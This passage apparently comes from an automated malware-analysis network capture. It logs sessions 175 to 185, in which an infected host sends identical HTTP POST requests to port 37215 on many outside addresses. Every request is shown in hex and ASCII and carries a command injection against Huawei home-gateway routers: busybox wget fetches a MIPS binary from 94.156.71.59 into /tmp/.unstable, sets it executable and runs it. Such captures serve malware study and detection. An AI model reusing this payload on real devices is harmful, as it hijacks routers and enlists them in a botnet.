6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.13	44662	41.253.102.61	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.017704964 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.13	35452	197.116.197.156	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.018435001 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.13	57320	156.12.201.188	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.019151926 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.13	41708	156.19.135.49	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.019872904 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.13	56620	156.24.110.61	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.020596027 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.13	51562	41.130.180.46	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.021323919 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.13	48046	197.167.77.113	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.022038937 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.13	38164	156.162.243.21	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.022727013 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.13	56786	197.59.140.99	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.023435116 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.13	52364	197.238.227.229	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.024162054 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.13	49654	197.98.178.183	37215

Timestamp	Bytes transferred	Direction	Data
